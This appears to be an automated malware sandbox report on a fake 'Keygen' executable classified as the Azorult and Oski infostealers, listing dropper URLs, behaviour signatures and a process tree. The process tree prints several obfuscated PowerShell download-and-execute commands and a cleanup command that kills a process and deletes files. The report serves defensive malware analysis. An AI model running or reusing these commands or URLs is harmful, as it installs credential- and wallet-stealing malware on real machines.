azorult | 201001-nyhbt4p25j_pw_infected[.]rar

Resubmissions

02-10-2020 21:14

201002-pjxdl9y6a6 10

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:49

Analysis

max time kernel
22s
max time network
157s
platform
windows10_x64
resource
win10
submitted
01-10-2020 20:51

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General

Target

201001-nyhbt4p25j_pw_infected/Keygen — копия (67) — копия.exe

Score

10^/10

azorult oski discovery infostealer spyware stealer trojan

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhHT

exe.dropper

http://bit.do/fqhHT

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://zxvbcrt.ug/zxcvb.exe

exe.dropper

http://zxvbcrt.ug/zxcvb.exe

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhJv

exe.dropper

http://bit.do/fqhJv

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://pdshcjvnv.ug/zxcvb.exe

exe.dropper

http://pdshcjvnv.ug/zxcvb.exe

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhJD

exe.dropper

http://bit.do/fqhJD

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://rbcxvnb.ug/zxcvb.exe

exe.dropper

http://rbcxvnb.ug/zxcvb.exe

Signatures

Azorult
An information stealer that was first discovered in 2016, targeting browsing history and passwords.
trojan infostealer azorult
Oski
Oski is an infostealer targeting browser data, crypto wallets.
infostealer oski
Blocklisted process makes network request 6 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

flow pid process

10 1148 powershell.exe
11 3784 powershell.exe
14 1148 powershell.exe
15 3784 powershell.exe
16 4520 powershell.exe
18 4520 powershell.exe
Downloads MZ/PE file

flow	pid	process
10	1148	powershell.exe
11	3784	powershell.exe
14	1148	powershell.exe
15	3784	powershell.exe
16	4520	powershell.exe
18	4520	powershell.exe

Executes dropped EXE 14 IoCs

Processes:

Keygen.exeyro.exezdf.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exeyro.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exelyp.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exelyp.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exe

pid	process
2208	Keygen.exe
5052	yro.exe
5092	zdf.exe
4300	FVjhgtresfdbv.exe
4312	NHtrdsaghfDF.exe
4420	yro.exe
4368	FVjhgtresfdbv.exe
4376	NHtrdsaghfDF.exe
2160	lyp.exe
1668	FVjhgtresfdbv.exe
4700	NHtrdsaghfDF.exe
5028	lyp.exe
5036	FVjhgtresfdbv.exe
4160	NHtrdsaghfDF.exe

Loads dropped DLL 3 IoCs

Processes:

FVjhgtresfdbv.exe

pid process

4368 FVjhgtresfdbv.exe
4368 FVjhgtresfdbv.exe
4368 FVjhgtresfdbv.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

pid	process
4368	FVjhgtresfdbv.exe
4368	FVjhgtresfdbv.exe
4368	FVjhgtresfdbv.exe

Suspicious use of SetThreadContext 6 IoCs

Processes:

yro.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exelyp.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exe

description	pid	process	target process
PID 5052 set thread context of 4420	5052	yro.exe	yro.exe
PID 4300 set thread context of 4368	4300	FVjhgtresfdbv.exe	FVjhgtresfdbv.exe
PID 4312 set thread context of 4376	4312	NHtrdsaghfDF.exe	NHtrdsaghfDF.exe
PID 2160 set thread context of 5028	2160	lyp.exe	lyp.exe
PID 1668 set thread context of 5036	1668	FVjhgtresfdbv.exe	FVjhgtresfdbv.exe
PID 4700 set thread context of 4160	4700	NHtrdsaghfDF.exe	NHtrdsaghfDF.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

4308 5036 WerFault.exe FVjhgtresfdbv.exe
Checks processor information in registry 2 TTPs 1 IoCs
Processor information is often read in order to detect sandboxing environments.

Query Registry
T1012

System Information Discovery
T1082

Processes:

FVjhgtresfdbv.exe

description ioc process

Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString FVjhgtresfdbv.exe
Delays execution with timeout.exe 2 IoCs
evasion

Processes:

timeout.exetimeout.exe

pid process

3980 timeout.exe
2412 timeout.exe
Kills process with taskkill 1 IoCs
evasion

Processes:

taskkill.exe

pid process

4428 taskkill.exe

pid	pid_target	process	target process
4308	5036	WerFault.exe	FVjhgtresfdbv.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	FVjhgtresfdbv.exe

pid	process
3980	timeout.exe
2412	timeout.exe

pid	process
4428	taskkill.exe

Modifies registry class 2 IoCs

Processes:

cmd.exezdf.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000_Classes\Local Settings	cmd.exe
Key created	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000_Classes\Local Settings	zdf.exe

Suspicious behavior: EnumeratesProcesses 24 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

pid	process
3256	powershell.exe
1148	powershell.exe
3784	powershell.exe
3272	powershell.exe
3272	powershell.exe
3256	powershell.exe
3256	powershell.exe
3272	powershell.exe
1148	powershell.exe
1148	powershell.exe
3784	powershell.exe
3784	powershell.exe
3256	powershell.exe
3272	powershell.exe
3784	powershell.exe
1148	powershell.exe
4520	powershell.exe
4520	powershell.exe
4704	powershell.exe
4704	powershell.exe
4520	powershell.exe
4704	powershell.exe
4520	powershell.exe
4704	powershell.exe

Suspicious behavior: MapViewOfSection 6 IoCs

Processes:

yro.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exelyp.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exe

pid process

5052 yro.exe
4300 FVjhgtresfdbv.exe
4312 NHtrdsaghfDF.exe
2160 lyp.exe
1668 FVjhgtresfdbv.exe
4700 NHtrdsaghfDF.exe

pid	process
5052	yro.exe
4300	FVjhgtresfdbv.exe
4312	NHtrdsaghfDF.exe
2160	lyp.exe
1668	FVjhgtresfdbv.exe
4700	NHtrdsaghfDF.exe

Suspicious use of AdjustPrivilegeToken 8 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exezdf.exetaskkill.exe

description	pid	process
Token: SeDebugPrivilege	1148	powershell.exe
Token: SeDebugPrivilege	3256	powershell.exe
Token: SeDebugPrivilege	3784	powershell.exe
Token: SeDebugPrivilege	3272	powershell.exe
Token: SeDebugPrivilege	4520	powershell.exe
Token: SeDebugPrivilege	4704	powershell.exe
Token: SeDebugPrivilege	5092	zdf.exe
Token: SeDebugPrivilege	4428	taskkill.exe

Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

Keygen.exeyro.exeNHtrdsaghfDF.exeFVjhgtresfdbv.exelyp.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exe

pid process

2208 Keygen.exe
5052 yro.exe
4312 NHtrdsaghfDF.exe
4300 FVjhgtresfdbv.exe
2160 lyp.exe
1668 FVjhgtresfdbv.exe
4700 NHtrdsaghfDF.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

Keygen — копия (67) — копия.execmd.exemshta.exemshta.exemshta.exemshta.exemshta.exemshta.exepowershell.exepowershell.exeyro.exe

description	pid	process	target process
PID 3940 wrote to memory of 1636	3940	Keygen — копия (67) — копия.exe	cmd.exe
PID 3940 wrote to memory of 1636	3940	Keygen — копия (67) — копия.exe	cmd.exe
PID 3940 wrote to memory of 1636	3940	Keygen — копия (67) — копия.exe	cmd.exe
PID 1636 wrote to memory of 2208	1636	cmd.exe	Keygen.exe
PID 1636 wrote to memory of 2208	1636	cmd.exe	Keygen.exe
PID 1636 wrote to memory of 2208	1636	cmd.exe	Keygen.exe
PID 1636 wrote to memory of 2820	1636	cmd.exe	mshta.exe
PID 1636 wrote to memory of 2820	1636	cmd.exe	mshta.exe
PID 1636 wrote to memory of 2820	1636	cmd.exe	mshta.exe
PID 1636 wrote to memory of 2060	1636	cmd.exe	mshta.exe
PID 1636 wrote to memory of 2060	1636	cmd.exe	mshta.exe
PID 1636 wrote to memory of 2060	1636	cmd.exe	mshta.exe
PID 1636 wrote to memory of 3980	1636	cmd.exe	timeout.exe
PID 1636 wrote to memory of 3980	1636	cmd.exe	timeout.exe
PID 1636 wrote to memory of 3980	1636	cmd.exe	timeout.exe
PID 1636 wrote to memory of 3448	1636	cmd.exe	mshta.exe
PID 1636 wrote to memory of 3448	1636	cmd.exe	mshta.exe
PID 1636 wrote to memory of 3448	1636	cmd.exe	mshta.exe
PID 2820 wrote to memory of 1148	2820	mshta.exe	powershell.exe
PID 2820 wrote to memory of 1148	2820	mshta.exe	powershell.exe
PID 2820 wrote to memory of 1148	2820	mshta.exe	powershell.exe
PID 2060 wrote to memory of 3256	2060	mshta.exe	powershell.exe
PID 2060 wrote to memory of 3256	2060	mshta.exe	powershell.exe
PID 2060 wrote to memory of 3256	2060	mshta.exe	powershell.exe
PID 3448 wrote to memory of 3784	3448	mshta.exe	powershell.exe
PID 3448 wrote to memory of 3784	3448	mshta.exe	powershell.exe
PID 3448 wrote to memory of 3784	3448	mshta.exe	powershell.exe
PID 1636 wrote to memory of 3772	1636	cmd.exe	mshta.exe
PID 1636 wrote to memory of 3772	1636	cmd.exe	mshta.exe
PID 1636 wrote to memory of 3772	1636	cmd.exe	mshta.exe
PID 3772 wrote to memory of 3272	3772	mshta.exe	powershell.exe
PID 3772 wrote to memory of 3272	3772	mshta.exe	powershell.exe
PID 3772 wrote to memory of 3272	3772	mshta.exe	powershell.exe
PID 1636 wrote to memory of 2412	1636	cmd.exe	timeout.exe
PID 1636 wrote to memory of 2412	1636	cmd.exe	timeout.exe
PID 1636 wrote to memory of 2412	1636	cmd.exe	timeout.exe
PID 1636 wrote to memory of 4456	1636	cmd.exe	mshta.exe
PID 1636 wrote to memory of 4456	1636	cmd.exe	mshta.exe
PID 1636 wrote to memory of 4456	1636	cmd.exe	mshta.exe
PID 4456 wrote to memory of 4520	4456	mshta.exe	powershell.exe
PID 4456 wrote to memory of 4520	4456	mshta.exe	powershell.exe
PID 4456 wrote to memory of 4520	4456	mshta.exe	powershell.exe
PID 1636 wrote to memory of 4616	1636	cmd.exe	mshta.exe
PID 1636 wrote to memory of 4616	1636	cmd.exe	mshta.exe
PID 1636 wrote to memory of 4616	1636	cmd.exe	mshta.exe
PID 4616 wrote to memory of 4704	4616	mshta.exe	powershell.exe
PID 4616 wrote to memory of 4704	4616	mshta.exe	powershell.exe
PID 4616 wrote to memory of 4704	4616	mshta.exe	powershell.exe
PID 1148 wrote to memory of 5052	1148	powershell.exe	yro.exe
PID 1148 wrote to memory of 5052	1148	powershell.exe	yro.exe
PID 1148 wrote to memory of 5052	1148	powershell.exe	yro.exe
PID 3784 wrote to memory of 5092	3784	powershell.exe	zdf.exe
PID 3784 wrote to memory of 5092	3784	powershell.exe	zdf.exe
PID 3784 wrote to memory of 5092	3784	powershell.exe	zdf.exe
PID 5052 wrote to memory of 4300	5052	yro.exe	FVjhgtresfdbv.exe
PID 5052 wrote to memory of 4300	5052	yro.exe	FVjhgtresfdbv.exe
PID 5052 wrote to memory of 4300	5052	yro.exe	FVjhgtresfdbv.exe
PID 5052 wrote to memory of 4312	5052	yro.exe	NHtrdsaghfDF.exe
PID 5052 wrote to memory of 4312	5052	yro.exe	NHtrdsaghfDF.exe
PID 5052 wrote to memory of 4312	5052	yro.exe	NHtrdsaghfDF.exe
PID 5052 wrote to memory of 4420	5052	yro.exe	yro.exe
PID 5052 wrote to memory of 4420	5052	yro.exe	yro.exe
PID 5052 wrote to memory of 4420	5052	yro.exe	yro.exe
PID 5052 wrote to memory of 4420	5052	yro.exe	yro.exe

C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — копия (67) — копия.exe
"C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — копия (67) — копия.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3940

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\1CE4.tmp\start.bat" "C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — ????? (67) — ?????.exe""
2⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1636

C:\Users\Admin\AppData\Local\Temp\1CE4.tmp\Keygen.exe
Keygen.exe
3⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:2208

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\1CE4.tmp\m.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:2820

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iguyoamkbvf $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iguyoamkbvf umgptdaebf $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|umgptdaebf;iguyoamkbvf rsatiq $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhIVA==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);rsatiq $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1148

C:\Users\Public\yro.exe
"C:\Users\Public\yro.exe"
5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:5052

C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
"C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:4300

C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
"C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"
7⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
PID:4368

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /pid 4368 & erase C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe & RD /S /Q C:\\ProgramData\\127772366183997\\* & exit
8⤵
PID:4072

C:\Windows\SysWOW64\taskkill.exe
taskkill /pid 4368
9⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4428

C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
"C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:4312

C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
"C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"
7⤵
- Executes dropped EXE
PID:4376

C:\Users\Public\yro.exe
"C:\Users\Public\yro.exe"
6⤵
- Executes dropped EXE
PID:4420

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\1CE4.tmp\m1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:2060

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iyhxbstew $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iyhxbstew bruolc $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|bruolc;iyhxbstew cplmfksidr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3p4dmJjcnQudWcvenhjdmIuZXhl';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);cplmfksidr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3256

C:\Windows\SysWOW64\timeout.exe
timeout 1
3⤵
- Delays execution with timeout.exe
PID:3980

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\1CE4.tmp\b.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:3448

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL omdrklgfia $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;omdrklgfia yvshnex $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|yvshnex;omdrklgfia gemjhbnrwydsof $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhKdg==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);gemjhbnrwydsof $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3784

C:\Users\Public\zdf.exe
"C:\Users\Public\zdf.exe"
5⤵
- Executes dropped EXE
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
PID:5092

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Rarujmxnv.vbs"
6⤵
PID:5056

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\1CE4.tmp\b1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:3772

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL ftdrmoulpbhgsc $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;ftdrmoulpbhgsc rfmngajuyepx $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|rfmngajuyepx;ftdrmoulpbhgsc hnjmzobgr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3Bkc2hjanZudi51Zy96eGN2Yi5leGU=';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);hnjmzobgr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3272

C:\Windows\SysWOW64\timeout.exe
timeout 2
3⤵
- Delays execution with timeout.exe
PID:2412

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\1CE4.tmp\ba.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:4456

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL vfudzcotabjeq $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;vfudzcotabjeq urdjneqmx $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|urdjneqmx;vfudzcotabjeq wuirkcyfmgjql $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhKRA==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);wuirkcyfmgjql $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4520

C:\Users\Public\lyp.exe
"C:\Users\Public\lyp.exe"
5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:2160

C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
"C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:1668

C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
"C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"
7⤵
- Executes dropped EXE
PID:5036

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5036 -s 1248
8⤵
- Program crash
PID:4308

C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
"C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:4700

C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
"C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"
7⤵
- Executes dropped EXE
PID:4160

C:\Users\Public\lyp.exe
"C:\Users\Public\lyp.exe"
6⤵
- Executes dropped EXE
PID:5028

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\1CE4.tmp\ba1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:4616

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
